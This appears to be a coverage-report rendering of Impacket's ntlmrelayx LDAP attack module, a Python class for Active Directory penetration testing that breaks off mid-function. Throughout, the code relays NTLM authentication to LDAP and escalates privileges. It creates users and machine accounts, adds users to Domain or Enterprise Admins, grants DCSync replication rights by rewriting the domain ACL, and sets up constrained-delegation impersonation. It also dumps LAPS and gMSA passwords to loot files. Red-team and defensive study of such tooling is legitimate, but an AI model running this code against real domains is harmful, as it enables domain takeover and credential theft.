Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# LDAP Attack Class 

8# 

9# Authors: 

10# Alberto Solino (@agsolino) 

11# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

12# 

13# Description: 

14# LDAP(s) protocol relay attack 

15# 

16# ToDo: 

17# 

18import _thread 

19import random 

20import string 

21import json 

22import datetime 

23import binascii 

24import codecs 

25import re 

26import ldap3 

27import ldapdomaindump 

28from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM 

29from ldap3.utils.conv import escape_filter_chars 

30import os 

31from Cryptodome.Hash import MD4 

32 

33from impacket import LOG 

34from impacket.examples.ldap_shell import LdapShell 

35from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 

36from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 

37from impacket.ldap import ldaptypes 

38from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP 

39from impacket.uuid import string_to_bin, bin_to_string 

40from impacket.structure import Structure, hexdump 

41 

42# This is new from ldap3 v2.5 

43try: 

44 from ldap3.protocol.microsoft import security_descriptor_control 

45except ImportError: 

46 # We use a print statement because the logger is not initialized yet here 

47 print('Failed to import required functions from ldap3. ntlmrelayx required ldap3 >= 2.5.0. \ 

48Please update with pip install ldap3 --upgrade') 

49PROTOCOL_ATTACK_CLASS = "LDAPAttack" 

50 

51# Define global variables to prevent dumping the domain twice 

52# and to prevent privilege escalating more than once 

53dumpedDomain = False 

54alreadyEscalated = False 

55alreadyAddedComputer = False 

56delegatePerformed = [] 

57 

58#gMSA structure 

59class MSDS_MANAGEDPASSWORD_BLOB(Structure): 

60 structure = ( 

61 ('Version','<H'), 

62 ('Reserved','<H'), 

63 ('Length','<L'), 

64 ('CurrentPasswordOffset','<H'), 

65 ('PreviousPasswordOffset','<H'), 

66 ('QueryPasswordIntervalOffset','<H'), 

67 ('UnchangedPasswordIntervalOffset','<H'), 

68 ('CurrentPassword',':'), 

69 ('PreviousPassword',':'), 

70 #('AlignmentPadding',':'), 

71 ('QueryPasswordInterval',':'), 

72 ('UnchangedPasswordInterval',':'), 

73 ) 

74 

75 def __init__(self, data = None): 

76 Structure.__init__(self, data = data) 

77 

78 def fromString(self, data): 

79 Structure.fromString(self,data) 

80 

81 if self['PreviousPasswordOffset'] == 0: 

82 endData = self['QueryPasswordIntervalOffset'] 

83 else: 

84 endData = self['PreviousPasswordOffset'] 

85 

86 self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']] 

87 if self['PreviousPasswordOffset'] != 0: 

88 self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']] 

89 

90 self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']] 

91 self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:] 

92 

93 

94class LDAPAttack(ProtocolAttack): 

95 """ 

96 This is the default LDAP attack. It checks the privileges of the relayed account 

97 and performs a domaindump if the user does not have administrative privileges. 

98 If the user is an Enterprise or Domain admin, a new user is added to escalate to DA. 

99 """ 

100 PLUGIN_NAMES = ["LDAP", "LDAPS"] 

101 

102 # ACL constants 

103 # When reading, these constants are actually represented by 

104 # the following for Active Directory specific Access Masks 

105 # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2 

106 GENERIC_READ = 0x00020094 

107 GENERIC_WRITE = 0x00020028 

108 GENERIC_EXECUTE = 0x00020004 

109 GENERIC_ALL = 0x000F01FF 

110 

111 def __init__(self, config, LDAPClient, username): 

112 self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer 

113 ProtocolAttack.__init__(self, config, LDAPClient, username) 

114 if self.config.interactive: 

115 # Launch locally listening interactive shell. 

116 self.tcp_shell = TcpShell() 

117 

118 def addComputer(self, parent, domainDumper): 

119 """ 

120 Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can 

121 also be an OU or other container where we have write privileges 

122 """ 

123 global alreadyAddedComputer 

124 if alreadyAddedComputer: 

125 LOG.error('New computer already added. Refusing to add another') 

126 return 

127 

128 # Random password 

129 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

130 

131 # Get the domain we are in 

132 domaindn = domainDumper.root 

133 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] 

134 

135 computerName = self.computerName 

136 if not computerName: 

137 # Random computername 

138 newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() 

139 else: 

140 newComputer = computerName if computerName.endswith('$') else computerName + '$' 

141 

142 computerHostname = newComputer[:-1] 

143 newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') 

144 

145 # Default computer SPNs 

146 spns = [ 

147 'HOST/%s' % computerHostname, 

148 'HOST/%s.%s' % (computerHostname, domain), 

149 'RestrictedKrbHost/%s' % computerHostname, 

150 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), 

151 ] 

152 ucd = { 

153 'dnsHostName': '%s.%s' % (computerHostname, domain), 

154 'userAccountControl': 4096, 

155 'servicePrincipalName': spns, 

156 'sAMAccountName': newComputer, 

157 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 

158 } 

159 LOG.debug('New computer info %s', ucd) 

160 LOG.info('Attempting to create computer in: %s', parent) 

161 res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) 

162 if not res: 

163 # Adding computers requires LDAPS 

164 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 

165 LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') 

166 else: 

167 LOG.error('Failed to add a new computer: %s' % str(self.client.result)) 

168 return False 

169 else: 

170 LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) 

171 alreadyAddedComputer = True 

172 # Return the SAM name 

173 return newComputer 

174 

175 def addUser(self, parent, domainDumper): 

176 """ 

177 Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can 

178 also be an OU or other container where we have write privileges 

179 """ 

180 global alreadyEscalated 

181 if alreadyEscalated: 

182 LOG.error('New user already added. Refusing to add another') 

183 return 

184 

185 # Random password 

186 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

187 

188 # Random username 

189 newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) 

190 newUserDn = 'CN=%s,%s' % (newUser, parent) 

191 ucd = { 

192 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 

193 'distinguishedName': newUserDn, 

194 'cn': newUser, 

195 'sn': newUser, 

196 'givenName': newUser, 

197 'displayName': newUser, 

198 'name': newUser, 

199 'userAccountControl': 512, 

200 'accountExpires': '0', 

201 'sAMAccountName': newUser, 

202 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 

203 } 

204 LOG.info('Attempting to create user in: %s', parent) 

205 res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) 

206 if not res: 

207 # Adding users requires LDAPS 

208 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 

209 LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') 

210 else: 

211 LOG.error('Failed to add a new user: %s' % str(self.client.result)) 

212 return False 

213 else: 

214 LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) 

215 

216 # Return the DN 

217 return newUserDn 

218 

219 def addUserToGroup(self, userDn, domainDumper, groupDn): 

220 global alreadyEscalated 

221 # For display only 

222 groupName = groupDn.split(',')[0][3:] 

223 userName = userDn.split(',')[0][3:] 

224 # Now add the user as a member to this group 

225 res = self.client.modify(groupDn, { 

226 'member': [(ldap3.MODIFY_ADD, [userDn])]}) 

227 if res: 

228 LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) 

229 LOG.info('Privilege escalation succesful, shutting down...') 

230 alreadyEscalated = True 

231 _thread.interrupt_main() 

232 else: 

233 LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result))) 

234 

235 def delegateAttack(self, usersam, targetsam, domainDumper, sid): 

236 global delegatePerformed 

237 if targetsam in delegatePerformed: 

238 LOG.info('Delegate attack already performed for this computer, skipping') 

239 return 

240 

241 if not usersam: 

242 usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) 

243 self.config.escalateuser = usersam 

244 

245 if not sid: 

246 # Get escalate user sid 

247 result = self.getUserInfo(domainDumper, usersam) 

248 if not result: 

249 LOG.error('User to escalate does not exist!') 

250 return 

251 escalate_sid = str(result[1]) 

252 else: 

253 escalate_sid = usersam 

254 

255 # Get target computer DN 

256 result = self.getUserInfo(domainDumper, targetsam) 

257 if not result: 

258 LOG.error('Computer to modify does not exist! (wrong domain?)') 

259 return 

260 target_dn = result[0] 

261 

262 self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) 

263 targetuser = None 

264 for entry in self.client.response: 

265 if entry['type'] != 'searchResEntry': 

266 continue 

267 targetuser = entry 

268 if not targetuser: 

269 LOG.error('Could not query target user properties') 

270 return 

271 try: 

272 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) 

273 LOG.debug('Currently allowed sids:') 

274 for ace in sd['Dacl'].aces: 

275 LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) 

276 except IndexError: 

277 # Create DACL manually 

278 sd = create_empty_sd() 

279 sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) 

280 self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) 

281 if self.client.result['result'] == 0: 

282 LOG.info('Delegation rights modified succesfully!') 

283 LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) 

284 delegatePerformed.append(targetsam) 

285 else: 

286 if self.client.result['result'] == 50: 

287 LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

288 elif self.client.result['result'] == 19: 

289 LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

290 else: 

291 LOG.error('The server returned an error: %s', self.client.result['message']) 

292 return 

293 

294 def aclAttack(self, userDn, domainDumper): 

295 global alreadyEscalated 

296 if alreadyEscalated: 

297 LOG.error('ACL attack already performed. Refusing to continue') 

298 return 

299 

300 # Dictionary for restore data 

301 restoredata = {} 

302 

303 # Query for the sid of our user 

304 self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) 

305 entry = self.client.entries[0] 

306 username = entry['sAMAccountName'].value 

307 usersid = entry['objectSid'].value 

308 LOG.debug('Found sid for user %s: %s' % (username, usersid)) 

309 

310 # Set SD flags to only query for DACL 

311 controls = security_descriptor_control(sdflags=0x04) 

312 alreadyEscalated = True 

313 

314 LOG.info('Querying domain security descriptor') 

315 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 

316 entry = self.client.entries[0] 

317 secDescData = entry['nTSecurityDescriptor'].raw_values[0] 

318 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) 

319 

320 # Save old SD for restore purposes 

321 restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') 

322 restoredata['target_sid'] = usersid 

323 

324 secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 

325 secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 

326 dn = entry.entry_dn 

327 data = secDesc.getData() 

328 self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) 

329 if self.client.result['result'] == 0: 

330 alreadyEscalated = True 

331 LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) 

332 LOG.info('Try using DCSync with secretsdump.py and this user :)') 

333 

334 # Query the SD again to see what AD made of it 

335 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 

336 entry = self.client.entries[0] 

337 newSD = entry['nTSecurityDescriptor'].raw_values[0] 

338 # Save this to restore the SD later on 

339 restoredata['target_dn'] = dn 

340 restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') 

341 restoredata['success'] = True 

342 self.writeRestoreData(restoredata, dn) 

343 return True 

344 else: 

345 LOG.error('Error when updating ACL: %s' % self.client.result) 

346 return False 

347 

348 def writeRestoreData(self, restoredata, domaindn): 

349 output = {} 

350 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] 

351 output['config'] = {'server':self.client.server.host,'domain':domain} 

352 output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}] 

353 now = datetime.datetime.now() 

354 filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S") 

355 # Save the json to file 

356 with codecs.open(filename, 'w', 'utf-8') as outfile: 

357 json.dump(output, outfile) 

358 LOG.info('Saved restore state to %s', filename) 

359 

360 def validatePrivileges(self, uname, domainDumper): 

361 # Find the user's DN 

362 membersids = [] 

363 sidmapping = {} 

364 privs = { 

365 'create': False, # Whether we can create users 

366 'createIn': None, # Where we can create users 

367 'escalateViaGroup': False, # Whether we can escalate via a group 

368 'escalateGroup': None, # The group we can escalate via 

369 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 

370 'aclEscalateIn': None # The object which ACL we can edit 

371 } 

372 self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) 

373 user = self.client.entries[0] 

374 usersid = user['objectSid'].value 

375 sidmapping[usersid] = user.entry_dn 

376 membersids.append(usersid) 

377 # The groups the user is a member of 

378 self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) 

379 LOG.debug('User is a member of: %s' % self.client.entries) 

380 for entry in self.client.entries: 

381 sidmapping[entry['objectSid'].value] = entry.entry_dn 

382 membersids.append(entry['objectSid'].value) 

383 # Also search by primarygroupid 

384 # First get domain SID 

385 self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) 

386 domainsid = self.client.entries[0]['objectSid'].value 

387 gid = user['primaryGroupId'].value 

388 # Now search for this group by SID 

389 self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) 

390 group = self.client.entries[0] 

391 LOG.debug('User is a member of: %s' % self.client.entries) 

392 # Add the group sid of the primary group to the list 

393 sidmapping[group['objectSid'].value] = group.entry_dn 

394 membersids.append(group['objectSid'].value) 

395 controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl 

396 # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs 

397 entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 

398 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 

399 # Also get the privileges on the default Users container 

400 entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 

401 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 

402 

403 # Interesting groups we'd like to be a member of, in order of preference 

404 interestingGroups = [ 

405 '%s-%d' % (domainsid, 519), # Enterprise admins 

406 '%s-%d' % (domainsid, 512), # Domain admins 

407 'S-1-5-32-544', # Built-in Administrators 

408 'S-1-5-32-551', # Backup operators 

409 'S-1-5-32-548', # Account operators 

410 ] 

411 privs['escalateViaGroup'] = False 

412 for group in interestingGroups: 

413 self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls) 

414 groupdata = self.client.response 

415 self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) 

416 if privs['escalateViaGroup']: 

417 # We have a result - exit the loop 

418 break 

419 return (usersid, privs) 

420 

421 def getUserInfo(self, domainDumper, samname): 

422 entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) 

423 try: 

424 dn = self.client.entries[0].entry_dn 

425 sid = self.client.entries[0]['objectSid'] 

426 return (dn, sid) 

427 except IndexError: 

428 LOG.error('User not found in LDAP: %s' % samname) 

429 return False 

430 

431 def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): 

432 standardrights = [ 

433 self.GENERIC_ALL, 

434 self.GENERIC_WRITE, 

435 self.GENERIC_READ, 

436 ACCESS_MASK.WRITE_DACL 

437 ] 

438 for entry in entries: 

439 if entry['type'] != 'searchResEntry': 

440 continue 

441 dn = entry['dn'] 

442 try: 

443 sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] 

444 except IndexError: 

445 # We don't have the privileges to read this security descriptor 

446 LOG.debug('Access to security descriptor was denied for DN %s', dn) 

447 continue 

448 hasFullControl = False 

449 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() 

450 secDesc.fromString(sdData) 

451 if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids: 

452 sid = secDesc['OwnerSid'].formatCanonical() 

453 LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) 

454 hasFullControl = True 

455 # Iterate over all the ACEs 

456 for ace in secDesc['Dacl'].aces: 

457 sid = ace['Ace']['Sid'].formatCanonical() 

458 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: 

459 continue 

460 if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE): 

461 # ACE is set on this object, but only inherited, so not applicable to us 

462 continue 

463 

464 # Check if the ACE has restrictions on object type (inherited case) 

465 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 

466 and ace.hasFlag(ACE.INHERITED_ACE) \ 

467 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): 

468 # Verify if the ACE applies to this object type 

469 inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower() 

470 if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]): 

471 continue 

472 # Check for non-extended rights that may not apply to us 

473 if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL): 

474 # Check if this applies to our objecttype 

475 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): 

476 objectType = bin_to_string(ace['Ace']['ObjectType']).lower() 

477 if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]): 

478 # LOG.debug('ACE does not apply, only to %s', objectType) 

479 continue 

480 if sid in membersids: 

481 # Generic all 

482 if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL): 

483 ace.dump() 

484 LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid])) 

485 hasFullControl = True 

486 if can_create_users(ace) or hasFullControl: 

487 if not hasFullControl: 

488 LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

489 if dn == 'CN=Users,%s' % domainDumper.root: 

490 # We can create users in the default container, this is preferred 

491 privs['create'] = True 

492 privs['createIn'] = dn 

493 else: 

494 # Could be a different OU where we have access 

495 # store it until we find a better place 

496 if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']: 

497 privs['create'] = True 

498 privs['createIn'] = dn 

499 if can_add_member(ace) or hasFullControl: 

500 if b'group' in entry['raw_attributes']['objectClass']: 

501 # We can add members to a group 

502 if not hasFullControl: 

503 LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

504 privs['escalateViaGroup'] = True 

505 privs['escalateGroup'] = dn 

506 if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl: 

507 # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to 

508 # a property, which is both weird and useless, so we skip it 

509 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 

510 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): 

511 # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set') 

512 continue 

513 if not hasFullControl: 

514 LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

515 # We can modify the domain Dacl 

516 if b'domain' in entry['raw_attributes']['objectClass']: 

517 privs['aclEscalate'] = True 

518 privs['aclEscalateIn'] = dn 

519 

520 @staticmethod 

521 def aceApplies(ace_guid, object_class): 

522 ''' 

523 Checks if an ACE applies to this object (based on object classes). 

524 Note that this function assumes you already verified that InheritedObjectType is set (via the flag). 

525 If this is not set, the ACE applies to all object types. 

526 ''' 

527 try: 

528 our_ace_guid = OBJECTTYPE_GUID_MAP[object_class] 

529 except KeyError: 

530 return False 

531 if ace_guid == our_ace_guid: 

532 return True 

533 # If none of these match, the ACE does not apply to this object 

534 return False 

535 

536 

537 def run(self): 

538 #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') 

539 #print self.client.entries 

540 global dumpedDomain 

541 # Set up a default config 

542 domainDumpConfig = ldapdomaindump.domainDumpConfig() 

543 

544 # Change the output directory to configured rootdir 

545 domainDumpConfig.basepath = self.config.lootdir 

546 

547 # Create new dumper object 

548 domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) 

549 

550 if self.config.interactive: 

551 if self.tcp_shell is not None: 

552 LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) 

553 # Start listening and launch interactive shell. 

554 self.tcp_shell.listen() 

555 ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) 

556 ldap_shell.cmdloop() 

557 return 

558 

559 # If specified validate the user's privileges. This might take a while on large domains but will 

560 # identify the proper containers for escalating via the different techniques. 

561 if self.config.validateprivs: 

562 LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') 

563 userSid, privs = self.validatePrivileges(self.username, domainDumper) 

564 if privs['create']: 

565 LOG.info('User privileges found: Create user') 

566 if privs['escalateViaGroup']: 

567 name = privs['escalateGroup'].split(',')[0][3:] 

568 LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) 

569 if privs['aclEscalate']: 

570 LOG.info('User privileges found: Modifying domain ACL') 

571 

572 # If validation of privileges is not desired, we assumed that the user has permissions to escalate 

573 # an existing user via ACL attacks. 

574 else: 

575 LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack') 

576 privs = dict() 

577 privs['create'] = False 

578 privs['aclEscalate'] = True 

579 privs['escalateViaGroup'] = False 

580 

581 # We prefer ACL escalation since it is more quiet 

582 if self.config.aclattack and privs['aclEscalate']: 

583 LOG.debug('Performing ACL attack') 

584 if self.config.escalateuser: 

585 # We can escalate an existing user 

586 result = self.getUserInfo(domainDumper, self.config.escalateuser) 

587 # Unless that account does not exist of course 

588 if not result: 

589 LOG.error('Unable to escalate without a valid user.') 

590 else: 

591 userDn, userSid = result 

592 # Perform the ACL attack 

593 self.aclAttack(userDn, domainDumper) 

594 elif privs['create']: 

595 # Create a nice shiny new user for the escalation 

596 userDn = self.addUser(privs['createIn'], domainDumper) 

597 if not userDn: 

598 LOG.error('Unable to escalate without a valid user.') 

599 # Perform the ACL attack 

600 else: 

601 self.aclAttack(userDn, domainDumper) 

602 else: 

603 LOG.error('Cannot perform ACL escalation because we do not have create user '\ 

604 'privileges. Specify a user to assign privileges to with --escalate-user') 

605 

606 # If we can't ACL escalate, try adding us to a privileged group 

607 if self.config.addda and privs['escalateViaGroup']: 

608 LOG.debug('Performing Group attack') 

609 if self.config.escalateuser: 

610 # We can escalate an existing user 

611 result = self.getUserInfo(domainDumper, self.config.escalateuser) 

612 # Unless that account does not exist of course 

613 if not result: 

614 LOG.error('Unable to escalate without a valid user.') 

615 # Perform the Group attack 

616 else: 

617 userDn, userSid = result 

618 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 

619 

620 elif privs['create']: 

621 # Create a nice shiny new user for the escalation 

622 userDn = self.addUser(privs['createIn'], domainDumper) 

623 if not userDn: 

624 LOG.error('Unable to escalate without a valid user, aborting.') 

625 # Perform the Group attack 

626 else: 

627 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 

628 

629 else: 

630 LOG.error('Cannot perform ACL escalation because we do not have create user '\ 

631 'privileges. Specify a user to assign privileges to with --escalate-user') 

632 

633 # Dump LAPS Passwords 

634 if self.config.dumplaps: 

635 LOG.info("Attempting to dump LAPS passwords") 

636 

637 success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd']) 

638 

639 if success: 

640 

641 fd = None 

642 filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999)) 

643 count = 0 

644 

645 for entry in self.client.response: 

646 try: 

647 dn = "DN:" + entry['attributes']['distinguishedname'] 

648 passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd'] 

649 

650 if fd is None: 

651 fd = open(filename, "a+") 

652 

653 count += 1 

654 

655 LOG.debug(dn) 

656 LOG.debug(passwd) 

657 

658 fd.write(dn) 

659 fd.write("\n") 

660 fd.write(passwd) 

661 fd.write("\n") 

662 

663 except: 

664 continue 

665 

666 if fd is None: 

667 LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username) 

668 else: 

669 LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username)) 

670 fd.close() 

671 

672 #Dump gMSA Passwords 

673 if self.config.dumpgmsa: 

674 LOG.info("Attempting to dump gMSA passwords") 

675 success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword']) 

676 if success: 

677 fd = None 

678 filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999)) 

679 count = 0 

680 for entry in self.client.response: 

681 try: 

682 sam = entry['attributes']['sAMAccountName'] 

683 data = entry['attributes']['msDS-ManagedPassword'] 

684 blob = MSDS_MANAGEDPASSWORD_BLOB() 

685 blob.fromString(data) 

686 hash = MD4.new () 

687 hash.update (blob['CurrentPassword'][:-2]) 

688 passwd = binascii.hexlify(hash.digest()).decode("utf-8") 

689 userpass = sam + ':::' + passwd 

690 LOG.info(userpass) 

691 count += 1 

692 if fd is None: 

693 fd = open(filename, "a+") 

694 fd.write(userpass) 

695 fd.write("\n") 

696 except: 

697 continue 

698 if fd is None: 

699 LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username) 

700 else: 

701 LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username)) 

702 fd.close() 

703 

704 # Perform the Delegate attack if it is enabled and we relayed a computer account 

705 if self.config.delegateaccess and self.username[-1] == '$': 

706 self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) 

707 return 

708 

709 # Add a new computer if that is requested 

710 # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota 

711 if self.config.addcomputer: 

712 self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects']) 

713 # Computer well-known GUID 

714 # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen 

715 computerscontainer = [ 

716 entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"] 

717 if b"AA312825768811D1ADED00C04FD8D5CD" in entry 

718 ][0] 

719 LOG.debug("Computer container is {}".format(computerscontainer)) 

720 self.addComputer(computerscontainer, domainDumper) 

721 return 

722 

723 # Last attack, dump the domain if no special privileges are present 

724 if not dumpedDomain and self.config.dumpdomain: 

725 # Do this before the dump is complete because of the time this can take 

726 dumpedDomain = True 

727 LOG.info('Dumping domain info for first time') 

728 domainDumper.domainDump() 

729 LOG.info('Domain info dumped into lootdir!') 

730 

731# Create an object ACE with the specified privguid and our sid 

732def create_object_ace(privguid, sid): 

733 nace = ldaptypes.ACE() 

